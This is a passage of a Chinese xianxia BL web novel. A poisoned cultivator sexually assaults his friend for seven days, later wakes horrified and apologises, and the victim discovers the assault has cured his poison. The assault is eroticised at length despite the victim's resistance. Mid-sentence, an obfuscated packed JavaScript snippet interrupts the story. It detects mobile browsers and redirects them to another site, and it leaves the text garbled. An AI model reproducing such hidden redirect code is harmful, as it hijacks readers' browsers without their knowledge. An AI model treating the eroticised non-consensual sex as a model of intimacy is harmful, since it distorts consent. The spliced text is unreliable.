长发凌乱地贴在苍白的脸颊和颈侧,单薄的肩背抑制不住地颤抖。 被寒潭水浸透的衣衫紧贴着身体,勾勒出过分纤细、仿佛一折即断的腰肢。 脆弱得令人心惊。 动弹不得。 迟清影虚弱地阖目。 或许,一切都结束了。 然而,预想中的死亡并未降临。 冰冷的长指再次捏住了他削瘦的下颌。 迟清影蓦地睁开了双眼。 那毫无温度的唇,带着不容抗拒的强势,竟已经重重地压了下来。 为什么? 他此刻根本不需要渡气! 迟清影脑中一片空白。 难道,郁长安是想用这种屈辱的方式杀了他? 他本能地推拒,双手却被对方的大掌牢牢钳住。 力道比之前任何一次都要重。 腕骨仿佛要被捏碎,白皙肌肤上瞬间浮现了刺目红痕。 郁长安的指节微动,带着薄茧的指腹,缓缓蹭过他腕骨瘦削的骨节。 明明体温冰冷,姿态却近乎狎昵。 “嘶……” 迟清影被捏得吃痛,唇瓣下意识地张开。 这微小的缝隙,立刻被对方捕捉。 冰凉的舌,带着强势的侵略感,瞬间直入。 不仅双唇被迫贴合,居然连舌瓣也侵入进来,带着令人颤.栗的寒意,在他口中肆意翻搅。 这次不再是渡气,而是充满侵略性和掌控欲的深吻。 气息混乱交织,激起令人发颤的酥麻与窒息。吻得太深太狠,迟清影被掠夺得几乎无法呼吸。 而对方的体温,依旧冰得让他浑身发冷。 “叫我什么?” 咬着他被吮得微微红肿的下唇,郁长安毫无波澜的声音,突兀响起。 他居然开口了。 这是郁长安中毒之后,第一次说话。 他清醒了? 迟清影以为对方已经恢复理智,顿时用尽,力气想要推开。 “放……唔!” 然而回应他的,却是更加凶狠的掠夺。 郁长安的舌蛮横地卷住他的舌尖,如同惩罚般,逼迫他与之纠缠。 直到迟清影双眸被泪水浸透,眼尾泛红,气息低促,几乎瘫软。 男人这才微微退开一丝距离。 “叫我什么?” 男人淡淡重复,金色的眼瞳居高临下地盯望着狼狈的他。 “滚……郁长安!” 迟清影咬牙,清冷的声线破碎不堪。 他怀疑对方不仅要杀他,更要用这种方式将他彻底羞辱。 但正如之前每一次反抗,他的挣扎只会招致更严苛的对待。 郁长安的吻再次落下,更加深入,不容抗拒。 仿佛要将他的元神一并吞没。 直到迟清影的挣扎力度的力度越来越弱,郁长安才略略停住。 他冷金色的眼眸微动,掐在人下颌的力道加重,迫使迟清影微微张口。 迟清影无力地低喘着,意识因缺氧而涣散,反应更是迟缓。 被捏开的唇瓣间,那原本淡粉色的薄.嫩舌尖,此刻竟清晰地浮现出精致繁复、如同古老咒文般的暗红色纹路。 那纹路平日里隐没于舌苔肌理之中,难以察觉。 此刻却在昏暗的光线下,闪烁着妖异靡丽的光泽。 ——他竟是被生生吻出了舌尖秘纹。 美人苍白的唇瓣因蹂.躏而染上靡丽的绯色,与失血的面容形成的对比如此惊心动魄。 脆弱的喉结因急促的呼吸而微微滚动,颈侧淡青血管在薄白皮肤下跳动,仿佛在竭力维持最后一丝摇摇欲坠的镇定。 这种强自压抑的生理反应,在绝对的掌控者眼中,反而散发出一种更致命的诱惑。 让人想要碾碎他所有伪装。 看他彻底失控。 郁长安垂眸,视线落在那妖异的舌尖纹路上。 他再次覆上那微肿的唇瓣,不再凶狠,反而带出一种慢条斯理的意味。 冰凉的舌尖,故意地缓缓舔舐过那繁复的纹路。 “呜……!” 迟清影身体猛地一颤,细微的呜.咽被堵在喉咙里。 这隐秘的纹路,竟似乎是他最敏敢薄弱之处。 每一次被扫过,都会带来一阵无法抑制的颤.栗。 迟清影已经被亲得眸光彻底涣散,意识飘忽。 而郁长安却气息未乱,平稳如初。 “乖。” 男人贴着他被吻得红软的唇瓣,依旧用着那毫无波澜的低磁声线,耐心十足,还在纠正他。 “叫长安哥。” 10.反应 第十章 迟清影的气质,是终年不化的霜雪。 他总是一袭雪霁蓝衣,裹着清绝身形,如孤悬寒夜的冷月,拒人千里。 然而,迟清影那双眉眼却生得秾艳异常,带着一种瑰色的昳丽。 衬着冷白的肤色,如同冰封在雪壳中的一簇灼灼海棠。 雪压着花瓣的热,冰锁着蕊心的火,可那点艳色偏生要从冰壳里透出来。 冻得微微发红,又红得愈发心惊。 此刻,在这层清冷外壳被强行剥开之后,那被掩藏的秾艳,终于被逼到了极致。 冰冷的唇舌带着不容挣拒的强势,反复舐吻,研磨,甚至刻意刮蹭过舌面上那隐秘的奇异纹路。 痛楚与陌生的刺激交织,逼得迟清影眼尾迅速漫上一层惊心动魄的绯红。 薄薄的眼睑不堪重负,沁出细碎的泪光,将落未落。 郁长安毫无温度的金瞳,始终紧锁着他。 那非人的目光,一瞬不瞬地攫取着对方的每一丝破碎与挣扎。 直到那点泪光不堪重负,沿着苍白的脸颊倏然滑落—— 郁长安才终于放开了那被吮吻得微肿的唇。 他抬头。 冰冷的唇,竟追着那滴泪珠,吻了上去。 迟清影涣散的眸光骤然聚焦,看向郁长安的目光,凌厉如冰锥。 他纤白如玉的指尖倏然收紧。 几近透明的傀儡丝森然浮现,如同天罗地网,瞬间笼罩而下! 然而。 那无形的丝网甫一靠近郁长安,便被凭空亮起的金芒瞬间点燃。 无声无息,化为飞灰。 郁长安甚至没有抬头。 他的唇,依旧停在迟清影湿润微凉的脸颊上,细细吻去了那滴泪痕。 那些锋利森然的傀儡丝,根本没有对他造成任何影响。 “……放开我。” 迟清影咬着被蹂.躏得发麻的下唇,恨恨说道。 原本清冽的声线,此刻染上了一分被深吻浸透的鼻音,破碎又勾.人。 吻去泪痕,郁长安的唇并未离开。 他反而吻上了迟清影湿漉漉的眼睫。 他宽大的右手,稳稳地掌住迟清影纤细的后颈。 掌心那经年握剑留下的薄茧,缓缓摩.挲着那薄白脆若的皮肤,生生磨出一片暖昧的微红。 像是完全没听到那声抗拒,郁长安反而将怀中这具清冷又靡丽的身体困锁得更紧。 冰冷的唇顺着脸颊的柔凉弧线,一路而下,最终再次覆上那微肿的唇。 唇齿相贴,他毫无波澜的声音沉沉响起。 “叫我。” 迟清影只觉一股血气直冲头顶,此刻连活撕了对方的心都有了! “要杀便杀!何必如此折辱于我!” 不过就是之前佯装担忧时,喊了一句虚假的“长安哥”。难道也值得这男人如此记恨,拿出来反复羞辱他? 怒意烧燃,迟清影被反剪在身后的腕骨猛地挣动。 一柄通体银白、流转着月华清辉的长鞭,瞬间自虚空中抽出,带着凌厉的破空声,直刺郁长安后心。 但白光刚现,便被郁长安空闲的左手轻易捏住。 迟清影的本命法宝照夜白,就这样如同脆弱的玩具般,被对方整个收走。 与此同时。 “锵——!” 一声清越的金铁交鸣! 一道试图绕至郁长安身后的幽冷流光——是迟清影操纵傀儡布阵的星宿罗盘“星天外”。 罗盘本体亦暗藏尖刃,却也被一道金色剑意精准格挡。 星天外震颤,光华瞬间黯淡,同样被轻易夺去。 迟清影拼尽全力使出的所有手段,在绝对悬殊的力量面前。 无一奏效。 他甚至连将自己从郁长安的怀抱中挣脱出来,都做不到。 此刻,迟清影是真正的山穷水尽,再无手段。 他倒是还有最后的底牌——以血脉秘法,召唤闭关多年的魔尊。 然而,自穿越而来,迟清影便从未与这位名义上的父亲有过任何交集。 他也没那么天真,会妄想魔修之间有什么血脉情深。 相反,更有可能,召唤来的也不是救兵。 而是给郁长安这个天命之子送经验的炮灰。 就在他反复思忖时,郁长安毫无波澜的声音再次响起。 “冷么?” 迟清影这才后知后觉地发现,自己一直在发抖。 灵力早已透支殆尽,数次搏命的反击耗尽了最后的一丝心力。 抱着他的男人,更是冰得要命。 此刻还能维持清醒,已经是迟清影的极限了。 疲惫如潮水将他淹没。迟清影微微闭眼。 “杀了我吧。” 说话时,舌尖秘纹被擦磨的微痛,让他的声音更添一份沙哑的脆弱。 好累…… 让这一切,结束吧。 然而,预想中的疼痛并没有发生。 下一秒,迟清影冷极的身体骤然一轻—— 他竟是被郁长安打横抱了起来。 郁长安抱着他,步伐沉稳,在堆叠如险峰的巨石上,稳得如履平地。 径直回到了原本圣灵髓所在的矿窟深处。 有巨石阻隔,涌入的潭水并未漫溢至此。 光线比外围更加幽暗,但还算干燥。 迟清影虚弱地蜷在郁长安怀中。 恍惚间,他竟觉得那紧贴自己的胸膛,似乎不再如先前那般冷到刺骨。 但这也绝非什么好兆头。 因为男人周身那股令人窒息的气势,丝毫未减。 迟清影徒劳的挣扎被轻易镇压。 最终,他被重新压倒在了冰冷的石面上。 接着,一只带着薄茧的手掌,带着不容挣扎的力道,覆上了他的前额。 那掌心是温热的,让发冷的人本能地哆嗦了一下。 迟清影却没生出丝毫暖意。 他的心反而瞬间沉入了谷底。 郁长安发现了。 对方摆明了是要查探他的底细。 恐怕是通过显现出的舌尖秘纹,窥破了他隐藏的魔修身份。 直到这时,迟清影都还以为郁长安是怀疑自己。 以为对方要强行查探他的紫府。 然而,预想中的凛然外力并没有侵入。 反而是迟清影,被人更用力地按住。 下一秒,那带着灼人温度的唇,竟是再次覆了上来。 “——?!” 男人覆在他额前的手掌移开,修长的手指蹭过了迟清影的额侧。 指节上那道天翎剑认主时留下的剑痕,触感比其他部位更加粗粝一分。 激得迟清影身体本能地一颤。 迟清影脑中一片茫然。 就算是要查探秘纹,之前也早该舔清楚了。 可郁长安现在的行为,却似乎与探查全然无关。 他仍在继续着那令人窒息的亲吻,纠缠不休,如同标记。 ……到底是想要干什么? 对迟清影的钳制丝毫未松,大掌如同铁箍,掐在他纤窄的腰侧。 而那另一只手,竟是出乎意料,径直向下探去。 迟清影不明所以,却被那陌生的动作,激得猛然睁大了双眼。 “唔——!!!” 他在干什么?! 短促的惊喘溢出喉间。可是,已然太迟了。 直到这时,迟清影才惊觉,郁长安的身体,竟已不再冰冷。 那紧覆着他的劲硕身形,散发出灼人的高温,烫得令人心惊。 相识三年,迟清影深知郁长安的剑意煌然光明。 但和别人不一样,迟清影从不觉得郁长安这人有多么温和、包容。 相反,迟清影只觉得那是一种最极致的霸道,会悄无声息地将一切同化。 将万物都融汇入他光明的秩序之中,心甘情愿地将力量献上。 但迟清影从未想过。 这种霸道居然会撕开所有伪装,降临在他的身上! “滚啊……啊!!” 清冷的声线生生变了调,呜咽都带了颤抖。 迟清影再度清晰地感受到了郁长安指节上的剑痕。 可是这一次,却是被迫用他最薄嫰的地方生生承受。 粗粝的触感被无限放大,带出难以言喻的恐慌。 手指,太长了…… 而且为什么、会那么烫……? 滚灼的火焰仿佛轰然点燃。 灼热的气息如同无形的牢笼,将迟清影死死囚困。 先前刺骨的冰冷早已被彻底烧融。 就连这玄冰矿石构筑出的洞天,也仿佛被驱散了所有霜寒。 迟清影不知道,他自己也在这灼然中被烧热了。 他原本的气息,如同凛冽的雪,混着半开寒梅的清苦,是冬日清晨推开窗时灌入肺腑的冷冽空气,带着拒人千里的疏离。 如同落雪之后,潮湿又干净的冷香。 然而,在舌尖秘纹被强行吻出后,那清冷的雪香中,却悄然混入了一分铁锈与月桂的腥甜。 这禁忌而靡丽的气味,如同最原始的诱饵,无声地挑动着人潜藏骨血中的狩猎本能。 让人误以为,终于捕捉到了他最真实的味道。 这诱惑,带着太过致命的吸引力。 动作已然更重,更深。 破碎的呜咽也被吻回喉咙深处。 迟清影本就虚弱至极的身体,早已濒临崩溃的边缘,如何承受得住这般狂风骤雨的强度? 被强行撑开的一瞬,他纤瘦的后腰被迫弓起一道惊心动魄的弧度。 像是即将被弯折的柳枝,在骤雨的无情击打下簌簌晃颤,每一寸都透着濒临极限的易碎感。 也正在此刻。 迟清影被迫半褪的衣袍袖口,微光悄然流转。 袖扣暗芒一闪,一缕凌厉剑意倏然迸发,直刺郁长安的咽喉要害! 郁长安面无表情,微一偏头。 剑意擦着他冷峻的侧脸飞过,在身后的玄冰壁上留下一道深深的刻痕。 那是郁长安亲手留给迟清影的防身之物。 此刻,却在这绝境中被激发了出来。 郁长安对这源于自己的杀意毫无在意,金色的眼瞳依旧紧锁着身下之人。 明明皮肤过分纤白,在幽暗中仿佛散发着微光,却偏偏又极易留下痕迹。 任何一点吮痕、指印,都会在这极致的清冷上烙印出靡艳的印记。 这极致的反差,会瞬间点燃最深切的占有欲。 让人无法抑制地想要烙印更多。 想圈禁更紧,填灌更深。 想要彻底打碎这层冰壳。 独占那冰裂之下的靡丽。 迟清影已经奄奄一息,连呜咽的力气都已耗尽。 意识摇摇欲坠。 他虚弱的身体,根本撑不住这样的对待。 迟清影向来不喜旁人接近,疏离孤冷,如天上清月。 此刻他却湿透了衣襟与长发,在郁长安的动作下,纤皙的指尖无意识痉挛,勾握。 仿佛溺水者寻求依托。 这种依赖明明并非本意,落在男人眼中,却如同特殊的许可。 成了无声的邀请。 那脆若至极的崩溃反应。 反而会激起更深的兴份与掌控。 郁长安一点都没有收敛,动作强势得近乎凶戾。 就在迟清影的身体当真要承受不住时。 郁长安抬起了左手。 一团柔和的光华,在他掌心悄然浮现。 郁长安捏住迟清影的下颌,低头吻了下去,迫使那微仲的唇瓣张开。 让那微微轻颤的薄粉舌尖,被吻到无法收回,被迫显露了出来。 然后,那团蕴着无上生机与力量的光华,就这么被渡入了迟清影的口中。 ——郁长安竟是把圣灵髓,喂给了迟清影。 柔和的力量瞬间在迟清影体内化开,纯净浩瀚的灵力如同甘霖,温柔而迅速地浸润着他千疮百孔的经脉,填补枯竭的丹田。 迟清影浓密濡湿的长睫轻颤。涣散的眸光重新凝聚了一分。 圣灵髓,在自发修补他的身体。 然而,这宝贵的喘息却短得如同幻觉。 下一秒。 “乌……!!” 又是撑到人背脊发酸的胀痛。 郁长安喂好了他,竟是毫无停歇。 再次博然。 有圣灵髓这无上的至宝,怀中这具易碎的珍宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141113|179759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,终于不会破碎。 看着面前的美人颤抖受伤,在滋养中缓和恢复,又在下一轮中濒临极限…… 这反复的循环,极致地刺激着非人的情绪。 那金色的瞳孔中,点燃了更深的、近乎残忍的兴份。 征伐变本加厉。 再无顾忌。 * 时间在无尽的昏沉与破碎的感知中流逝,混沌得失去了意义。 迟清影唯一能确认的是。 绝对不止三天。 他几乎没能有过真正的清醒,每次,在剧烈的刺激中勉强掀开沉重的眼睑。 映入视线的,永远是那双悬于上方,冰冷非人的金色瞳孔。 如同深渊的凝视,牢牢盯锁着他,将人拖入更深的绝望。 迟清影也没能真正的休息。 只是在一次次难以承受的冲击,和灭顶的风暴中,被生生惹得意识昏溃。 他也曾想过,郁长安是不是要把他当作炉鼎来采补。 但对方并没有汲取他的半分灵力。 相反,得益于那枚被强行喂下的圣灵髓。 精纯的生机源源不断地修补着他残破的身体。 无论伤口还是经脉。 都得到了及时的充盈。 如果不是圣灵髓护持。 迟清影毫不怀疑。 自己第一天就死了。 郁长安的剑意太过炽盛,即便他没有刻意攻击,仅是那无意流出的剑气,迟清影也根本撑不住。 所以他才会以为。 郁长安是要用这种最残酷的方式报复他,处决他。 那可怕的剑意,早已融入了郁长安的元神骨血,成为他力量的一部分。 每一次深入,都裹挟着这难以言喻的威压,如洪流反复冲刷碾没。 ……迟清影甚至崩溃地发现。 连那里面都有。 以致每一次灌没,居然都不是结束。 反而是新一轮毁灭性的炽热烙印。 将迟清影从内到外,折腾得不堪承受。 意识朦胧,耳边传来了模糊的动静。 迟清影连眼皮都没掀开。 他已经累到懒得反应了。 身体深处传来熟悉的,被撑胀到极致的钝痛。 这么多天里,困着他的男人如同不知疲倦的凶兽,精力可怕到似乎无穷无尽,永不停歇。 那具紧贴着迟清影的身躯,热量更是惊人。 像是要将怀中这抹清冷彻底融化吞没。 当那带着剑痕的指节再次碰到他时,迟清影的身体倏然一抖。 那道痕迹,已经成为了迟清影深重的阴影。 每一次触及,都激起无法压抑的反应。 意识又有模糊,迟清影知道自己撑不了多久。 他很快就会再度昏迷,能捱过这一波都难。 但就在这疲惫至极的刹那,他忽然听到一句沙哑轻颤,带着难以置信的低声。 “……清影?” 迟清影的身体几不可察地顿了一下。 濒临溃散的意识被强行拽回了一丝清明。 圣灵髓! 察觉郁长安似乎清醒,迟清影的第一反应就是去检查圣灵髓。 还好……还在。 体内,那团温润磅礴的生机仍在。 并未被强行召唤剥离。 这种上古至宝,究竟能不能认主? 圣灵髓,又到底能否被自己拥有? 迟清影并不确认。 疲惫又让他的思绪更为混乱。 他累极了,听到身边人粗乱的呼吸,僵硬的动静。 也只是虚弱地偏过头,阖起了双眼。 现在他只知道,圣灵髓在自己的体内。 他是绝对不会还回去的。 郁长安只觉自己坠入了一个漫长而恐怖的噩梦。 梦中先是如坠冰窟,寒意足以冻结神魂。 随即又跌入滔天烈焰,五脏六腑都被灼烧殆尽。 冰火交织,如同最残酷的炼狱,反复熬炼着他失控的意识。 然而,在那片混沌与暴虐的深渊中,始终萦绕着一缕清冽如雪后寒莲的薄香。 微弱却清晰,如同唯一的指引。 支撑着他,未曾沉沦。 他知道。 那是他的挚友。 意识回归的刹那,郁长安的唯一心念,就是找到迟清影。 确认对方的安全。 当察觉那熟悉的气息就在自己怀中时,他紧绷的心弦才骤然一松。 可是这口气还未彻底吐出。 当怀中人的模样,映入郁长安恢复墨色的眼瞳。 所有的庆幸,却被无边的惊骇所取代。 “……清影?” 记忆如同决堤的洪水,汹涌回笼。 那些破碎的画面,瞬间席卷。 粗暴的钳制、无休止的索取,身下人绝望的呜咽、苍白肌肤上刺目的靡艳痕迹…… 一幕幕,都无比清晰。 ……他都做了什么? 目光所及,皆是罪证。 挚友单薄的雪衣凌乱不堪,几乎无法蔽体。 外露的肌肤上,从纤细脆弱的脖颈,到伶仃的锁骨,再到不堪一握的腰肢,遍布着或深或浅的印记。 甚至是被粗糙剑茧磨出的擦痕。 如同无瑕美玉,被粗暴地刻上了专属的印记。 那双总是清冷疏离的眼眸此刻空洞失焦,长睫湿漉漉地黏成几簇。 可怜凄惨至极。 听到他的声音,那具单薄的身体明显地顿了一瞬。 随即,便虚弱地偏过了头。 他的挚友,似是竭力将最后一点脆弱的侧脸线条也藏匿起来。 不愿再看他一眼。 这无声的抗拒,比最锋利的剑刃更为致命。 郁长安的耳畔一片轰鸣。 他指节颤抖着探过去,带着万钧的沉重与悔恨,想要触碰那看起来下一秒就会彻底碎掉的人。 指腹尚未触及。 迟清影那双漂亮却空洞的双眸,终于缓缓阖上。 一滴清泪,无声无息地从那薄红的眼梢滴落。 仿佛一柄无形的利剑,狠狠捅穿了郁长安的胸膛。 他的心,轰然被撕得粉碎。 11.七天 第十一章 意识在黑暗中沉浮,如溺水者寻不到岸。 朦胧间,似有柔和光线渗入眼帘。 身下不再是冰冷的玄冰,而是柔软温暖的被褥。 空气洁净干燥,混着淡淡的安神熏香。 显然,他人已经回到了舒适的安全客房。 但身体深处透出的极度虚弱,如同沉重枷锁。 将迟清影禁锢在清醒的边缘。 只能感受到丹田内那团温润光华,正缓慢滋养着残破的身躯。 半梦半醒间,迟清影并非全然无知。 他能感觉到,有人来过。 而且不止一次。 那脚步声沉稳而熟悉,停在榻前时,带出一种无形,却存在感极强的压迫。 是郁长安。 每次感知到来人靠近,迟清影的身体便会本能绷紧。 他仍有戒备。 唯恐对方是来夺回那枚圣灵髓。 榻前的阴影沉默地伫立着。 似乎察觉了这份僵硬防备,那身影并未靠近,亦未有任何动作。 寂静之后,对方总会无声无息地离去。 直到脚步声远去,迟清影紧绷的神经才缓缓松弛。 如同被抽去最后一丝力气,再次沉入黑暗。 如此反复。 迟清影终于能断续地睁开几次眼睛。 视野模糊晃动。 守候在床边的,有时是方逢时那双带着担忧的杏圆眼眸,有时是傅九川紧锁的眉头。 他们动作很轻,喂药也都是小心翼翼。 但迟清影太过虚弱,往往只是清醒片刻,便又会陷入昏睡。 直到这一日。 融融暖意包裹着身体,宛如浸泡在温煦的泉水中。 迟清影缓缓掀开沉重的眼睑,视线由模糊逐渐清晰。 意外地,榻前伫立的身影,并非方、傅二人。 而是那道熟悉的挺拔身影。 郁长安。 他就站在离床榻几步之遥,身姿如岳如松。 似乎已经在那站了很久,以至于身形几乎要融入阴影之中。 见迟清影醒来,郁长安也并未像之前那样离开。 反而迎上了那双清冷的眼睛。 “我将去参加仙门大比。” 郁长安的嗓音低沉,他目光落在迟清影苍白得近乎透明的脸上,又挪开。 仿佛那是一种灼伤。 “魁首的奖励中,有一种罕见的‘断缘草’,可解除你我的……双修牵连。” 双修? 迟清影本不欲开口,闻言却一怔。 他长睫微颤,眸中掠过一丝真切的茫然。 “……什么?” 喉咙干涩如砂纸摩擦,只发出一个低哑的音节。 是连番摧折下,哭哑了的声带留下的后遗症。 郁长安的目光深深望看着他,那眼神复杂难辨。 “我失控之时……” 他的声音更低了几分。 “似乎强行传予你一套功法,迫使你修习运转,同我双修。” “那七日,你始终在被强迫吸纳我的……精元。” 迟清影:“……” 虽然他并不觉这场暴行本身奇怪。因为在他眼中,绝命尸虫不过是撕开了郁长安伪善的面具,放出了这人骨子里的阴暗与掠夺欲。 ——迟清影本来就觉得郁长安是个阴比。 ……但老实说,这也太怪了。 还逼着他双修?? “时间过长,牵连已然稳固。” 郁长安语速加快,仿佛想将这难以启齿的事实尽快交代完。 “若要强行解除,唯有借助‘断缘草’这等特殊灵植。” “仙门大比,我必取之。” 迟清影张了张唇,想说什么,却被一阵突如其来的剧烈咳嗽打断。 他单薄的肩背微微颤抖,苍白的脸颊泛起病态的潮红。 “清影!” 郁长安下颌一紧,心头猛地一揪。 一直垂在身侧、紧握成拳的手,终于克制不住地抬起。 他动作极轻,带着万般的谨慎,掌心凝聚起温和的灵气,轻轻抚上迟清影的后背,为人顺气。 那熟悉的、令人安心的暖流缓缓注入,抚平了翻涌的气血。 郁长安扶着迟清影虚软的身体,直到咳声渐歇,才克制地收回了手。 他微垂眸,嗓音沉哑,带着未能藏好的苦意。 “寒潭之事,我绝不会向任何人透露半分……你放心。” “此后,若你不愿见我。” “我自当……永不再出现于你面前。” 他抬起头,望向榻上清冷的身形。 晨光中,那身影单薄得仿佛一触即碎。 郁长安的喉结艰难一滚。 “……抱歉。” 说完,他不再敢看,仿佛再多停留一秒都是亵渎,转身大步离去。 留得人独自清静。 迟清影掩唇,又低咳了两声,望着那消失在门外的背影,清冷的眸中闪过一丝疑惑。 这人似乎……没发现自己不是仙修? 而且…… 确认四周无人后,迟清影凝神内探。 这一查,他不由心头微震。 原本因蚀气侵蚀而千疮百孔的经脉,此时竟然好转了大半。 虽然依旧比常人孱弱,但那些狰狞的暗伤与顽固的蚀毒,却明显被驱散了许多。 为什么? 迟清影第一时间想到了圣灵髓。 然而,圣灵髓虽然灵气磅礴,却并没有解毒的能力。更无法祛除蚀气。 他立刻引动丹田内的温润光华,尝试修复一处蚀伤。 果然。 精纯的灵力流过,伤痕依旧顽固地存在着。 那会是什么起了作用? 鬼使神差地。 迟清影忽然想到了郁长安方才那番话。 此时他体感清净爽利,显然是有人在他昏迷时悉心照料,更换了衣物。 但在寒潭矿窟那地狱般的七日里,可没有这般待遇。 中毒的郁长安不仅精力骇人,更带着一种近乎偏执的占有欲。 每一次都深深灌注,霸道至极,不肯让丝毫外泄。 别说给他清理,这人甚至连他自行淌出来,都不允许。 迟清影当时被欺负得意识模糊,并不记得自己有没有修习什么功法。 但他是鲸吞之体,这体质会本能地吞没一切能接触到的精纯能量。 所以迟清影可以肯定—— 那七天里,强行灌入他体内的所有精元。 ……确实被他一丝不差地全数吸收炼化了。 难道蚀毒的缓解,竟源于此?! 这个念头太过荒谬,迟清影自己都觉得难以置信。 恰好此时,迟清影的体内还保留着一缕郁长安方才为他顺气时注入的灵气。 他心念微动,闭目凝神,小心地引导着那缕灵气,缓缓送至一处蚀毒盘踞的窍穴。 灵气触及的瞬间。 那顽固阴寒的蚀毒,竟真的如同冰雪遇阳般,消融了一分。 迟清影猛然睁眼,瞳孔深处掀起惊浪。 居然真的有效。 所以,郁长安才是他真正的解药? 迟清影只觉匪夷所思。 他是唐僧肉?? 身体依旧倦惫,精神不济,迟清影很快又陷入了昏睡。 如此又过了四五日光景,他才终于恢复了些许精神。 那清绝的面容上少了几分苍白,多了些淡薄的生机。 这段时日,迟清影的思绪也并未停歇。 他将矿窟中的种种,与郁长安的话反复思忖。 一个匪夷所思却又唯一合理的结论,逐渐清晰—— 他体内蚀毒的缓解,源头并非圣灵髓,而就是那场被迫的双修。 郁长安贵为天命主角,资质岂会寻常? 他不仅身负天生剑骨,更拥有着世间罕见的均衡灵根。 表面看似驳杂的五灵根,实则五种属性异常平均,达到了罕见的完美平衡。 这意味着对郁长安而言,天地间所有属性的灵气,他皆可吸纳,且能自有转化。 他的修炼速度丝毫不逊于单灵根的仙修天骄。 甚至更胜一筹。 更关键的是,他那煌明剑意本就蕴含大道至理,天生克制邪祟,能净化百毒。 往日里,郁长安即便被蚀气所伤,也总能凭借自身剑意净化祛除,并不像其他仙修那般狼狈,会被蚀气所腐。 如此想来,他能祛除迟清影体内的蚀毒,也不奇怪。 再加上那长时间的双修吸纳,郁长安那原本极具攻击性的剑意杀气,在灌入迟清影体内时,竟也未对他造成任何伤害。 这几日调养下来,迟清影虽仍感虚弱,但身体确有好转。 不仅蚀毒带来的剧痛大为减轻,他也不再咳血。 方逢时为他诊脉时,也惊讶地发现,他脉象平稳有力了许多。 郁长安似是将此归功于圣灵髓。 在确认他伤势无忧后,才动身前往仙门大比。 但迟清影知道不是这样。 而且他清楚。 这短暂的缓解,还远远不够。 只要他继续炼制傀儡,接触蚀气,毒素便会卷土重来。 迟清影需要的,是一剂长期、稳定的“解药”。 但迟清影不可能再和郁长安双修。 且不说绝命尸虫这等奇毒多么难寻。 即便寻到,也只能控制郁长安短短七日。 迟清影总不可能每次都让郁长安中毒。 那样太过冒险,迟早会暴露。 他需要更简单、更直接。 一种永绝后患的方式。 迟清影取出自己储物戒,神识扫过,里面静静躺着被归还的长鞭照夜白,罗盘星天外。 以及堆积如山,散发着幽蓝寒光的极品玄冰石与寒晶砂。 迟清影粗略一扫,便知矿窟深处的精华已被尽数取出,毫无遗漏。 这一点,他与郁长安倒是向来默契。 资源不易,早习惯了物尽其用,从不浪费。 收好储物戒。 迟清影起身,推门而出。 * 仙门大比,群英汇聚之地—— 云渺洲。 郁长安与迟清影之间的异样,连方逢时和傅九川都察觉到了。 此次大比,迟清影更是未曾露面,唯独郁长安一人前来,背影孤峭。 傅九川心有不解,自寒潭归来,这两人之间便透着古怪。 明明顺利取回了寒晶砂,为何关系反而降至冰点? 他私下询问,郁长安也只说了一句,是自己的过错。 却没有细说寒潭之后究竟发生了什么。 望着那挺拔却略显孤寂的背影,傅九川终究只能将疑惑压在心底。 仙门大比,五十年一度,四洲的年轻天骄齐聚于此。 唯有三百岁内结成金丹者,方有资格登台竞逐。 初赛擂台,郁长安剑光煌煌,浩荡如烈日巡空。 声名赫赫的对手,在他剑下竟似不堪一击,败得轻易。 惊叹与喝彩如潮水般席卷全场,无数目光灼灼,皆聚焦于那道如渊渟岳峙的身影。 当他轻易斩获决赛名额,收剑下台。 人群立时如浪涌来,道贺攀谈之声不绝于耳。 郁长安神色平静。周身那股沉稳可靠的气度展露无遗。 风采夺目,令人心折。 然而,就在他目光扫过喧嚣人潮的刹那。 那始终波澜不惊的面容,却倏然凝住。 透过攒动的人影,他牢牢锁定了观战台高处,那一抹雪色的身影。 几乎未经思索。 郁长安身形微动,已然化作一道流光,瞬间落至那人身前。 来人一顶素雅的雪色幂篱,垂下的轻纱遮住了面容。 一只皓白如玉的手腕从袖袍中伸出,姿仪闲适,正执着一卷古朴的书卷。 幂篱轻纱后,传来熟悉的、带着一丝未愈沙哑的清冷嗓音。 “恭喜。” 正是迟清影。 一旁的方逢时适时补充。 “郁真人,前辈已经用寒晶砂,换来了那卷剑意残片。” 郁长安却仿佛没听见。 他根本没去看其他,视线如同被牵引,全数锁在幂篱下那若隐若现的身影上。 轻纱随着微风拂动,隐约可见那线条优美的苍白下颌,和淡软的薄唇。 一丝难以言明的悸动,如同投入心湖深潭的石子。 涟漪悄然漾开。 * 几人暂离喧嚣,前往休憩之所。 郁长安抬手,一辆由灵骑牵引,通体流光溢彩的马车无声浮现。 他看向迟清影,墨色的眼眸深处带着一丝不易察觉的微绷。如同等待某种宣判。 雪色幂篱轻动。 迟清影的姿态如往常般疏淡,并未拒绝,随他一同登上了马车。 车厢内空间宽敞,布置雅致。 燃着极淡的安神熏香。 然而,当车门关闭,隔绝了外界。 一丝冷冽的薄香,却悄然萦绕在郁长安的心头鼻尖。 这气息…… 郁长安知道,挚友素来只饮雪顶莲心茶。 那苦寒之地孕育的莲心气息,早已渗入他的肌骨发肤。 苦而清透,正如迟清影眉眼间化不开的清冷疏淡。 可闻得久了,竟在舌尖喉底,泛起一丝令人上瘾的幽冷回甘。 但此刻,这清苦的气息,却将刻意深埋的记忆瞬间勾起。 矿窟深处,那薄软唇舌间尝到的清冽,如同雪莲初绽般的冷香…… 郁长安喉结微动,强行压下不合时宜的翻涌心绪。 他沉声开口。 “此次仙门大比,决赛规则有变。” “需组队进入秘境,斩杀异魔,以数量定胜负。” 他顿了顿,目光落在垂落的轻纱上。 “我尚缺一位队友。” 连声音都放轻,像是怕将那薄雪惊动。 “你……可愿同行?” 雪色幂篱静默了片刻。 那短暂的沉默,几乎让车厢内的空气都凝滞。 “好。” 清冷的音节传出。 郁长安心口一松,眉眼间不自觉地柔和。 他摊开手掌,朝人伸出了手。 